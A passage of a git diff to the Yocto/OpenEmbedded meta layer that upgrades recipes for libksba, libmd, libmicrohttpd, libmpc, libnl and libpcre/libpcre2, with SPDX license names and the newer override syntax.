+LICENSE = "GPL-2.0-or-later | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=64a87180908540620ce364b5e69b3b03 \
+ file://LICENSE.gplv2;md5=eb723b61539feef013de476e68b5c50a \
+ file://LICENSE.bsd;md5=66a5cedaf62c4b2637025f049f9b826f \
+ "
+SRC_URI = "git://github.com/smuellerDD/jitterentropy-library.git;branch=master;protocol=https"
+SRCREV = "4544e11320138ac02797af81766f4476a71bb09f"
+S = "${WORKDIR}/git"
+
+do_configure[noexec] = "1"
+
+LDFLAGS += "-Wl,-O0"
+
+do_install () {
+ oe_runmake install INCDIR="/include" \
+ DESTDIR="${D}" \
+ PREFIX="${exec_prefix}" \
+ LIBDIR="${baselib}" \
+ INSTALL_STRIP="install"
+}
+
diff --git a/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch b/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch
index ebb7fa588a..bdb80ff34d 100644
--- a/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch
+++ b/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch
@@ -1,4 +1,4 @@
-From 7bd2b060e9ea3e2ff11e67d1e98ab882819b28b7 Mon Sep 17 00:00:00 2001
+From ca8174aa81d7bf364b33f7254a9e887735c4996d Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 3 Dec 2012 18:17:31 +0800
Subject: [PATCH] libksba: add pkgconfig support
@@ -11,11 +11,15 @@ They think pkgconfig adds no portability and maintaining them is not worthwhile.
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ src/ksba.m4 | 90 +++--------------------------------------------------
+ 1 file changed, 4 insertions(+), 86 deletions(-)
+
diff --git a/src/ksba.m4 b/src/ksba.m4
-index ad8de4f..af903ad 100644
+index 452c245..aa96255 100644
--- a/src/ksba.m4
+++ b/src/ksba.m4
-@@ -22,37 +22,6 @@ dnl with a changed API.
+@@ -23,37 +23,6 @@ dnl with a changed API.
dnl
AC_DEFUN([AM_PATH_KSBA],
[ AC_REQUIRE([AC_CANONICAL_HOST])
@@ -23,7 +27,7 @@ index ad8de4f..af903ad 100644
- dnl since that is consistent with how our three siblings use the directory/
- dnl package name in --with-$dir_name-prefix=PFX.
- AC_ARG_WITH(libksba-prefix,
-- AC_HELP_STRING([--with-libksba-prefix=PFX],
+- AS_HELP_STRING([--with-libksba-prefix=PFX],
- [prefix where KSBA is installed (optional)]),
- ksba_config_prefix="$withval", ksba_config_prefix="")
-
@@ -40,7 +44,7 @@ index ad8de4f..af903ad 100644
- fi
-
- use_gpgrt_config=""
-- if test x"$KSBA_CONFIG" = x -a x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if test x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
- if $GPGRT_CONFIG ksba --exists; then
- KSBA_CONFIG="$GPGRT_CONFIG ksba"
- AC_MSG_NOTICE([Use gpgrt-config as ksba-config])
@@ -53,7 +57,7 @@ index ad8de4f..af903ad 100644
tmp=ifelse([$1], ,1:1.0.0,$1)
if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
-@@ -63,56 +32,13 @@ AC_DEFUN([AM_PATH_KSBA],
+@@ -64,56 +33,13 @@ AC_DEFUN([AM_PATH_KSBA],
min_ksba_version="$tmp"
fi
@@ -113,7 +117,7 @@ index ad8de4f..af903ad 100644
if test "$tmp" -gt 0 ; then
AC_MSG_CHECKING([KSBA API version])
if test "$req_ksba_api" -eq "$tmp" ; then
-@@ -125,14 +51,8 @@ AC_DEFUN([AM_PATH_KSBA],
+@@ -126,14 +52,8 @@ AC_DEFUN([AM_PATH_KSBA],
fi
fi
if test $ok = yes; then
@@ -129,7 +133,7 @@ index ad8de4f..af903ad 100644
if test x"$libksba_config_host" != xnone ; then
if test x"$libksba_config_host" != x"$host" ; then
AC_MSG_WARN([[
-@@ -146,8 +66,6 @@ AC_DEFUN([AM_PATH_KSBA],
+@@ -147,8 +67,6 @@ AC_DEFUN([AM_PATH_KSBA],
fi
fi
else
diff --git a/meta/recipes-support/libksba/libksba_1.4.0.bb b/meta/recipes-support/libksba/libksba_1.4.0.bb
deleted file mode 100644
index a9daf22d77..0000000000
--- a/meta/recipes-support/libksba/libksba_1.4.0.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Easy API to create and parse X.509 and CMS related objects"
-HOMEPAGE = "http://www.gnupg.org/related_software/libksba/"
-LICENSE = "GPLv3+ & (GPLv2+ | LGPLv3+)"
-LICENSE_${PN} = "GPLv2+ | LGPLv3+"
-LICENSE_${PN}-doc = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fd541d83f75d038c4e0617b672ed8bda \
- file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=2f31b266d3440dd7ee50f92cf67d8e6c \
- file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
- "
-
-DEPENDS = "libgpg-error"
-
-BINCONFIG = "${bindir}/ksba-config"
-
-inherit autotools binconfig-disabled pkgconfig texinfo
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://ksba-add-pkgconfig-support.patch"
-
-SRC_URI[sha256sum] = "bfe6a8e91ff0f54d8a329514db406667000cb207238eded49b599761bfca41b6"
-
-do_configure_prepend () {
- # Else these could be used in preference to those in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libksba/libksba_1.6.6.bb b/meta/recipes-support/libksba/libksba_1.6.6.bb
new file mode 100644
index 0000000000..2230a032f6
--- /dev/null
+++ b/meta/recipes-support/libksba/libksba_1.6.6.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Easy API to create and parse X.509 and CMS related objects"
+DESCRIPTION = "A library to make the tasks of working with X.509 certificates, \
+CMS data and related objects more easy. It provides a highlevel interface to \
+the implemented protocols and presents the data in a consistent way. The \
+library does not rely on another cryptographic library but provides \
+hooks for easy integration with Libgcrypt. "
+HOMEPAGE = "http://www.gnupg.org/related_software/libksba/"
+LICENSE = "GPL-3.0-or-later & (GPL-2.0-or-later | LGPL-3.0-or-later)"
+LICENSE:${PN} = "GPL-2.0-or-later | LGPL-3.0-or-later"
+LICENSE:${PN}-doc = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fd541d83f75d038c4e0617b672ed8bda \
+ file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=2f31b266d3440dd7ee50f92cf67d8e6c \
+ file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
+ "
+
+DEPENDS = "libgpg-error"
+
+BINCONFIG = "${bindir}/ksba-config"
+
+inherit autotools binconfig-disabled pkgconfig texinfo
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://ksba-add-pkgconfig-support.patch"
+
+SRC_URI[sha256sum] = "5dec033d211559338838c0c4957c73dfdc3ee86f73977d6279640c9cd08ce6a4"
+
+do_configure:prepend () {
+ # Else these could be used in preference to those in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libmd/libmd_1.1.0.bb b/meta/recipes-support/libmd/libmd_1.1.0.bb
new file mode 100644
index 0000000000..dc588a0f95
--- /dev/null
+++ b/meta/recipes-support/libmd/libmd_1.1.0.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Message Digest functions from BSD systems"
+DESCRIPTION = "This library provides message digest functions \
+found on BSD systems either on their libc (NetBSD, OpenBSD) or \
+libmd (FreeBSD, DragonflyBSD, macOS, Solaris) libraries and \
+lacking on others like GNU systems."
+HOMEPAGE = "https://www.hadrons.org/software/libmd/"
+
+LICENSE = "BSD-3-Clause & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0436d4fb62a71f661d6e8b7812f9e1df"
+
+SRC_URI = "https://archive.hadrons.org/software/libmd/libmd-${PV}.tar.xz"
+SRC_URI[sha256sum] = "1bd6aa42275313af3141c7cf2e5b964e8b1fd488025caf2f971f43b00776b332"
+
+inherit autotools
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libmicrohttpd/libmicrohttpd_1.0.1.bb b/meta/recipes-support/libmicrohttpd/libmicrohttpd_1.0.1.bb
new file mode 100644
index 0000000000..0628ee71b5
--- /dev/null
+++ b/meta/recipes-support/libmicrohttpd/libmicrohttpd_1.0.1.bb
@@ -0,0 +1,27 @@
+SUMMARY = "A small C library that is supposed to make it easy to run an HTTP server as part of another application"
+HOMEPAGE = "http://www.gnu.org/software/libmicrohttpd/"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=57d09285feac8a64efa878e692b14f36"
+SECTION = "net"
+
+DEPENDS = "file"
+
+SRC_URI = "${GNU_MIRROR}/libmicrohttpd/${BPN}-${PV}.tar.gz"
+SRC_URI[sha256sum] = "a89e09fc9b4de34dde19f4fcb4faaa1ce10299b9908db1132bbfa1de47882b94"
+
+inherit autotools lib_package pkgconfig gettext
+
+CFLAGS += "-pthread -D_REENTRANT"
+
+EXTRA_OECONF += "--disable-static --with-gnutls=${STAGING_LIBDIR}/../ --enable-largefile"
+
+PACKAGECONFIG ?= "curl https"
+
+PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl,"
+PACKAGECONFIG[https] = "--enable-https,--disable-https,libgcrypt gnutls,"
+
+do_compile:append() {
+ sed -i s:-L${STAGING_LIBDIR}::g libmicrohttpd.pc
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libmpc/libmpc.inc b/meta/recipes-support/libmpc/libmpc.inc
index b3742543df..bc564d4dca 100644
--- a/meta/recipes-support/libmpc/libmpc.inc
+++ b/meta/recipes-support/libmpc/libmpc.inc
@@ -1,7 +1,7 @@
SUMMARY = "C library for complex number arithmetic with arbitrary precision and correct rounding"
DESCRIPTION = "Mpc is a C library for the arithmetic of complex numbers with arbitrarily high precision and correct rounding of the result. It is built upon and follows the same principles as Mpfr"
HOMEPAGE = "http://www.multiprecision.org/"
-LICENSE = "LGPLv3"
+LICENSE = "LGPL-3.0-only"
SECTION = "libs"
inherit autotools texinfo
diff --git a/meta/recipes-support/libmpc/libmpc_1.1.0.bb b/meta/recipes-support/libmpc/libmpc_1.1.0.bb
deleted file mode 100644
index bbc673ff38..0000000000
--- a/meta/recipes-support/libmpc/libmpc_1.1.0.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require libmpc.inc
-
-DEPENDS = "gmp mpfr"
-
-LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=e6a600fd5e1d9cbde2d983680233ad02"
-SRC_URI = "${GNU_MIRROR}/mpc/mpc-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "4125404e41e482ec68282a2e687f6c73"
-SRC_URI[sha256sum] = "6985c538143c1208dcb1ac42cedad6ff52e267b47e5f970183a3e75125b43c2e"
-
-S = "${WORKDIR}/mpc-${PV}"
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-support/libmpc/libmpc_1.3.1.bb b/meta/recipes-support/libmpc/libmpc_1.3.1.bb
new file mode 100644
index 0000000000..ed57396c0a
--- /dev/null
+++ b/meta/recipes-support/libmpc/libmpc_1.3.1.bb
@@ -0,0 +1,12 @@
+require libmpc.inc
+
+DEPENDS = "gmp mpfr"
+
+LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=e6a600fd5e1d9cbde2d983680233ad02"
+SRC_URI = "${GNU_MIRROR}/mpc/mpc-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "ab642492f5cf882b74aa0cb730cd410a81edcdbec895183ce930e706c1c759b8"
+
+S = "${WORKDIR}/mpc-${PV}"
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-support/libnl/files/run-ptest b/meta/recipes-support/libnl/files/run-ptest
new file mode 100755
index 0000000000..0d0c665cd2
--- /dev/null
+++ b/meta/recipes-support/libnl/files/run-ptest
@@ -0,0 +1,3 @@
+#! /bin/sh
+
+CK_AUTOMAKE=1 ./check-all
diff --git a/meta/recipes-support/libnl/libnl_3.5.0.bb b/meta/recipes-support/libnl/libnl_3.5.0.bb
deleted file mode 100644
index 9d0e1441a9..0000000000
--- a/meta/recipes-support/libnl/libnl_3.5.0.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "A library for applications dealing with netlink sockets"
-HOMEPAGE = "http://www.infradead.org/~tgr/libnl/"
-SECTION = "libs/network"
-
-PE = "1"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-DEPENDS = "flex-native bison-native"
-
-SRC_URI = "https://github.com/thom311/${BPN}/releases/download/${BPN}${@d.getVar('PV').replace('.','_')}/${BP}.tar.gz"
-SRC_URI[md5sum] = "74ba57b1b1d6f9f92268aa8141d8e8e4"
-SRC_URI[sha256sum] = "352133ec9545da76f77e70ccb48c9d7e5324d67f6474744647a7ed382b5e05fa"
-
-UPSTREAM_CHECK_URI = "https://github.com/thom311/${BPN}/releases"
-
-inherit autotools pkgconfig
-
-FILES_${PN} = "${libdir}/libnl-3.so.* \
- ${libdir}/libnl.so.* \
- ${sysconfdir}"
-RREPLACES_${PN} = "libnl2"
-RCONFLICTS_${PN} = "libnl2"
-FILES_${PN}-dev += "${libdir}/libnl/cli/*/*.la"
-FILES_${PN}-staticdev += "${libdir}/libnl/cli/*/*.a"
-
-PACKAGES += "${PN}-cli ${PN}-genl ${PN}-idiag ${PN}-nf ${PN}-route ${PN}-xfrm"
-FILES_${PN}-cli = "${libdir}/libnl-cli-3.so.* \
- ${libdir}/libnl/cli/*/*.so \
- ${bindir}/genl-ctrl-list \
- ${bindir}/idiag-socket-details \
- ${bindir}/nf-* \
- ${bindir}/nl-*"
-FILES_${PN}-genl = "${libdir}/libnl-genl-3.so.* \
- ${libdir}/libnl-genl.so.*"
-FILES_${PN}-idiag = "${libdir}/libnl-idiag-3.so.*"
-FILES_${PN}-nf = "${libdir}/libnl-nf-3.so.*"
-FILES_${PN}-route = "${libdir}/libnl-route-3.so.*"
-FILES_${PN}-xfrm = "${libdir}/libnl-xfrm-3.so.*"
-RREPLACES_${PN}-genl = "libnl-genl2"
-RCONFLICTS_${PN}-genl = "libnl-genl2"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libnl/libnl_3.9.0.bb b/meta/recipes-support/libnl/libnl_3.9.0.bb
new file mode 100644
index 0000000000..db9d93e8cb
--- /dev/null
+++ b/meta/recipes-support/libnl/libnl_3.9.0.bb
@@ -0,0 +1,64 @@
+SUMMARY = "A library for applications dealing with netlink sockets"
+DESCRIPTION = "The libnl suite is a collection of libraries providing \
+APIs to netlink protocol based Linux kernel interfaces. libnl is the core \
+library implementing the fundamentals required to use the netlink protocol \
+such as socket handling, message construction and parsing, and sending \
+and receiving of data."
+HOMEPAGE = "http://www.infradead.org/~tgr/libnl/"
+SECTION = "libs/network"
+
+PE = "1"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "flex-native bison-native"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${BPN}${@d.getVar('PV').replace('.','_')}/${BP}.tar.gz \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "aed507004d728a5cf11eab48ca4bf9e6e1874444e33939b9d3dfed25018ee9bb"
+
+GITHUB_BASE_URI = "https://github.com/thom311/${BPN}/releases"
+UPSTREAM_CHECK_REGEX = "releases/tag/libnl(?P<pver>.+)"
+
+inherit autotools pkgconfig ptest github-releases
+
+FILES:${PN} = "${libdir}/libnl-3.so.* \
+ ${libdir}/libnl.so.* \
+ ${sysconfdir}"
+RREPLACES:${PN} = "libnl2"
+RCONFLICTS:${PN} = "libnl2"
+
+FILES:${PN}-dev += "${libdir}/libnl/cli/*/*.la"
+FILES:${PN}-staticdev += "${libdir}/libnl/cli/*/*.a"
+
+PACKAGES += "${PN}-cli ${PN}-genl ${PN}-idiag ${PN}-nf ${PN}-route ${PN}-xfrm"
+FILES:${PN}-cli = "${libdir}/libnl-cli-3.so.* \
+ ${libdir}/libnl/cli/*/*.so \
+ ${bindir}/genl-ctrl-list \
+ ${bindir}/idiag-socket-details \
+ ${bindir}/nf-* \
+ ${bindir}/nl-*"
+FILES:${PN}-genl = "${libdir}/libnl-genl-3.so.* \
+ ${libdir}/libnl-genl.so.*"
+FILES:${PN}-idiag = "${libdir}/libnl-idiag-3.so.*"
+FILES:${PN}-nf = "${libdir}/libnl-nf-3.so.*"
+FILES:${PN}-route = "${libdir}/libnl-route-3.so.*"
+FILES:${PN}-xfrm = "${libdir}/libnl-xfrm-3.so.*"
+RREPLACES:${PN}-genl = "libnl-genl2"
+RCONFLICTS:${PN}-genl = "libnl-genl2"
+
+DEPENDS += "${@bb.utils.contains('PTEST_ENABLED', '1', 'libcheck', '', d)}"
+RRECOMMENDS:${PN}-ptest += "kernel-module-dummy kernel-module-bonding"
+
+do_compile_ptest() {
+ oe_runmake ./tests/check-all
+}
+
+do_install_ptest() {
+ ./libtool install install ./tests/check-all ${D}${PTEST_PATH}/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch b/meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch
deleted file mode 100644
index 89b44f6aa6..0000000000
--- a/meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-Upstream-Status: Inappropriate [debian patch]
-
-This patch address a namespace collision with libc.
-
-Although there is no "#include <regex.h>" in the source file, at
-runtime, it's unintentionally linked to the libc version, the regcomp of
-libc is called instead the pcre one using pcre's data structure...
-that looks like a disaster.
-
-Can patch is from Debian (and Ubuntu 11.04alpha has it also).
-
-[sgw: added patch comment]
-Signed-off-by: Qing He <qing.he@intel.com>
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
---- a/pcreposix.h 2010-05-17 00:17:23.000000000 +0800
-+++ b/pcreposix.h 2009-01-15 04:32:17.000000000 +0800
-@@ -133,14 +130,19 @@
-
- /* The functions */
-
--PCREPOSIX_EXP_DECL int regcomp(regex_t *, const char *, int);
--PCREPOSIX_EXP_DECL int regexec(const regex_t *, const char *, size_t,
-+PCREPOSIX_EXP_DECL int pcreposix_regcomp(regex_t *, const char *, int);
-+PCREPOSIX_EXP_DECL int pcreposix_regexec(const regex_t *, const char *, size_t,
- regmatch_t *, int);
--PCREPOSIX_EXP_DECL size_t regerror(int, const regex_t *, char *, size_t);
--PCREPOSIX_EXP_DECL void regfree(regex_t *);
-+PCREPOSIX_EXP_DECL size_t pcreposix_regerror(int, const regex_t *, char *, size_t);
-+PCREPOSIX_EXP_DECL void pcreposix_regfree(regex_t *);
-
- #ifdef __cplusplus
- } /* extern "C" */
- #endif
-
-+#define regcomp pcreposix_regcomp
-+#define regexec pcreposix_regexec
-+#define regerror pcreposix_regerror
-+#define regfree pcreposix_regfree
-+
- #endif /* End of pcreposix.h */
diff --git a/meta/recipes-support/libpcre/libpcre2_10.35.bb b/meta/recipes-support/libpcre/libpcre2_10.35.bb
deleted file mode 100644
index 35c019c100..0000000000
--- a/meta/recipes-support/libpcre/libpcre2_10.35.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-DESCRIPTION = "There are two major versions of the PCRE library. The \
-newest version is PCRE2, which is a re-working of the original PCRE \
-library to provide an entirely new API. The original, very widely \
-deployed PCRE library's API and feature are stable, future releases \
- will be for bugfixes only. All new future features will be to PCRE2, \
-not the original PCRE 8.x series."
-SUMMARY = "Perl Compatible Regular Expressions version 2"
-HOMEPAGE = "http://www.pcre.org"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=a06590e9bd4c229532364727aaeaf084"
-
-SRC_URI = "https://ftp.pcre.org/pub/pcre/pcre2-${PV}.tar.bz2"
-
-SRC_URI[sha256sum] = "9ccba8e02b0ce78046cdfb52e5c177f0f445e421059e43becca4359c669d4613"
-
-CVE_PRODUCT = "pcre2"
-
-S = "${WORKDIR}/pcre2-${PV}"
-
-PROVIDES += "pcre2"
-DEPENDS += "bzip2 zlib"
-
-BINCONFIG = "${bindir}/pcre2-config"
-
-inherit autotools binconfig-disabled
-
-EXTRA_OECONF = "\
- --enable-newline-is-lf \
- --with-link-size=2 \
- --with-match-limit=10000000 \
- --enable-pcre2-16 \
- --enable-pcre2-32 \
-"
-CFLAGS += "-D_REENTRANT"
-CXXFLAGS_append_powerpc = " -lstdc++"
-
-PACKAGES =+ "libpcre2-16 libpcre2-32 pcre2grep pcre2grep-doc pcre2test pcre2test-doc"
-
-SUMMARY_pcre2grep = "grep utility that uses perl 5 compatible regexes"
-SUMMARY_pcre2grep-doc = "grep utility that uses perl 5 compatible regexes - docs"
-SUMMARY_pcre2test = "program for testing Perl-comatible regular expressions"
-SUMMARY_pcre2test-doc = "program for testing Perl-comatible regular expressions - docs"
-
-FILES_libpcre2-16 = "${libdir}/libpcre2-16.so.*"
-FILES_libpcre2-32 = "${libdir}/libpcre2-32.so.*"
-FILES_pcre2grep = "${bindir}/pcre2grep"
-FILES_pcre2grep-doc = "${mandir}/man1/pcre2grep.1"
-FILES_pcre2test = "${bindir}/pcre2test"
-FILES_pcre2test-doc = "${mandir}/man1/pcre2test.1"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpcre/libpcre2_10.43.bb b/meta/recipes-support/libpcre/libpcre2_10.43.bb
new file mode 100644
index 0000000000..fd0bd79212
--- /dev/null
+++ b/meta/recipes-support/libpcre/libpcre2_10.43.bb
@@ -0,0 +1,55 @@
+DESCRIPTION = "There are two major versions of the PCRE library. The \
+newest version is PCRE2, which is a re-working of the original PCRE \
+library to provide an entirely new API. The original, very widely \
+deployed PCRE library's API and feature are stable, future releases \
+ will be for bugfixes only. All new future features will be to PCRE2, \
+not the original PCRE 8.x series."
+SUMMARY = "Perl Compatible Regular Expressions version 2"
+HOMEPAGE = "http://www.pcre.org"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=321a5eb46acae6b6c1ff2c7a866d836a"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/pcre2-${PV}/pcre2-${PV}.tar.bz2"
+
+GITHUB_BASE_URI = "https://github.com/PhilipHazel/pcre2/releases"
+UPSTREAM_CHECK_REGEX = "releases/tag/pcre2-(?P<pver>\d+(\.\d+)+)$"
+
+SRC_URI[sha256sum] = "e2a53984ff0b07dfdb5ae4486bbb9b21cca8e7df2434096cc9bf1b728c350bcb"
+
+CVE_PRODUCT = "pcre2"
+
+S = "${WORKDIR}/pcre2-${PV}"
+
+PROVIDES += "pcre2"
+DEPENDS += "bzip2 zlib"
+
+BINCONFIG = "${bindir}/pcre2-config"
+
+inherit autotools binconfig-disabled github-releases
+
+EXTRA_OECONF = "\
+ --enable-newline-is-lf \
+ --with-link-size=2 \
+ --with-match-limit=10000000 \
+ --enable-pcre2-16 \
+ --enable-pcre2-32 \
+"
+CFLAGS += "-D_REENTRANT"
+CXXFLAGS:append:powerpc = " -lstdc++"
+
+PACKAGES =+ "libpcre2-16 libpcre2-32 pcre2grep pcre2grep-doc pcre2test pcre2test-doc"
+
+SUMMARY:pcre2grep = "grep utility that uses perl 5 compatible regexes"
+SUMMARY:pcre2grep-doc = "grep utility that uses perl 5 compatible regexes - docs"
+SUMMARY:pcre2test = "program for testing Perl-comatible regular expressions"
+SUMMARY:pcre2test-doc = "program for testing Perl-comatible regular expressions - docs"
+
+FILES:libpcre2-16 = "${libdir}/libpcre2-16.so.*"
+FILES:libpcre2-32 = "${libdir}/libpcre2-32.so.*"
+FILES:pcre2grep = "${bindir}/pcre2grep"
+FILES:pcre2grep-doc = "${mandir}/man1/pcre2grep.1"
+FILES:pcre2test = "${bindir}/pcre2test"
+FILES:pcre2test-doc = "${mandir}/man1/pcre2test.1"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpcre/libpcre_8.44.bb b/meta/recipes-support/libpcre/libpcre_8.44.bb
deleted file mode 100644
index e5471e81da..0000000000
--- a/meta/recipes-support/libpcre/libpcre_8.44.bb
+++ /dev/null
@@ -1,75 +0,0 @@
-DESCRIPTION = "The PCRE library is a set of functions that implement regular \
-expression pattern matching using the same syntax and semantics as Perl 5. PCRE \
-has its own native API, as well as a set of wrapper functions that correspond \
-to the POSIX regular expression API."
-SUMMARY = "Perl Compatible Regular Expressions"
-HOMEPAGE = "http://www.pcre.org"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=3bb381a66a5385b246d4877922e7511e"
-SRC_URI = "https://ftp.pcre.org/pub/pcre/pcre-${PV}.tar.bz2 \
- file://fix-pcre-name-collision.patch \
- file://run-ptest \
- file://Makefile \
- "
-
-SRC_URI[md5sum] = "cf7326204cc46c755b5b2608033d9d24"
-SRC_URI[sha256sum] = "19108658b23b3ec5058edc9f66ac545ea19f9537234be1ec62b714c84399366d"
-
-CVE_PRODUCT = "pcre"
-
-S = "${WORKDIR}/pcre-${PV}"
-
-PROVIDES += "pcre"
-DEPENDS += "bzip2 zlib"
-
-PACKAGECONFIG ??= "pcre8 unicode-properties jit"
-
-PACKAGECONFIG[pcre8] = "--enable-pcre8,--disable-pcre8"
-PACKAGECONFIG[pcre16] = "--enable-pcre16,--disable-pcre16"
-PACKAGECONFIG[pcre32] = "--enable-pcre32,--disable-pcre32"
-PACKAGECONFIG[pcretest-readline] = "--enable-pcretest-libreadline,--disable-pcretest-libreadline,readline,"
-PACKAGECONFIG[unicode-properties] = "--enable-unicode-properties,--disable-unicode-properties"
-PACKAGECONFIG[jit] = "--enable-jit=auto,--disable-jit"
-
-BINCONFIG = "${bindir}/pcre-config"
-
-inherit autotools binconfig-disabled ptest
-
-EXTRA_OECONF = "--enable-utf"
-
-PACKAGES =+ "libpcrecpp libpcreposix pcregrep pcregrep-doc pcretest pcretest-doc"
-
-SUMMARY_libpcrecpp = "${SUMMARY} - C++ wrapper functions"
-SUMMARY_libpcreposix = "${SUMMARY} - C wrapper functions based on the POSIX regex API"
-SUMMARY_pcregrep = "grep utility that uses perl 5 compatible regexes"
-SUMMARY_pcregrep-doc = "grep utility that uses perl 5 compatible regexes - docs"
-SUMMARY_pcretest = "program for testing Perl-comatible regular expressions"
-SUMMARY_pcretest-doc = "program for testing Perl-comatible regular expressions - docs"
-
-FILES_libpcrecpp = "${libdir}/libpcrecpp.so.*"
-FILES_libpcreposix = "${libdir}/libpcreposix.so.*"
-FILES_pcregrep = "${bindir}/pcregrep"
-FILES_pcregrep-doc = "${mandir}/man1/pcregrep.1"
-FILES_pcretest = "${bindir}/pcretest"
-FILES_pcretest-doc = "${mandir}/man1/pcretest.1"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- cp ${WORKDIR}/Makefile $t
- cp -r ${S}/testdata $t
- for i in pcre_stringpiece_unittest pcregrep pcretest; \
- do cp ${B}/.libs/$i $t; \
- done
- for i in RunTest RunGrepTest test-driver; \
- do cp ${S}/$i $t; \
- done
- # Skip the fr_FR locale test. If the locale fr_FR is found, it is tested.
- # If not found, the test is skipped. The test program assumes fr_FR is non-UTF-8
- # locale so the test fails if fr_FR is UTF-8 locale.
- sed -i -e 's:do3=yes:do3=no:g' ${D}${PTEST_PATH}/RunTest
-}
-
-RDEPENDS_${PN}-ptest += "make"
diff --git a/meta/recipes-support/libpcre/libpcre_8.45.bb b/meta/recipes-support/libpcre/libpcre_8.45.bb
new file mode 100644
index 0000000000..46fedbae48
--- /dev/null
+++ b/meta/recipes-support/libpcre/libpcre_8.45.bb
@@ -0,0 +1,73 @@
+DESCRIPTION = "The PCRE library is a set of functions that implement regular \
+expression pattern matching using the same syntax and semantics as Perl 5. PCRE \
+has its own native API, as well as a set of wrapper functions that correspond \
+to the POSIX regular expression API."
+SUMMARY = "Perl Compatible Regular Expressions"
+HOMEPAGE = "http://www.pcre.org"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=b5d5d1a69a24ea2718263f1ff85a1c58"
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcre/pcre-${PV}.tar.bz2 \
+ file://run-ptest \
+ file://Makefile \
+ "
+
+SRC_URI[sha256sum] = "4dae6fdcd2bb0bb6c37b5f97c33c2be954da743985369cddac3546e3218bffb8"
+
+CVE_PRODUCT = "pcre"
+
+S = "${WORKDIR}/pcre-${PV}"
+
+PROVIDES += "pcre"
+DEPENDS += "bzip2 zlib"
+
+PACKAGECONFIG ??= "pcre8 unicode-properties jit"
+
+PACKAGECONFIG[pcre8] = "--enable-pcre8,--disable-pcre8"
+PACKAGECONFIG[pcre16] = "--enable-pcre16,--disable-pcre16"
+PACKAGECONFIG[pcre32] = "--enable-pcre32,--disable-pcre32"
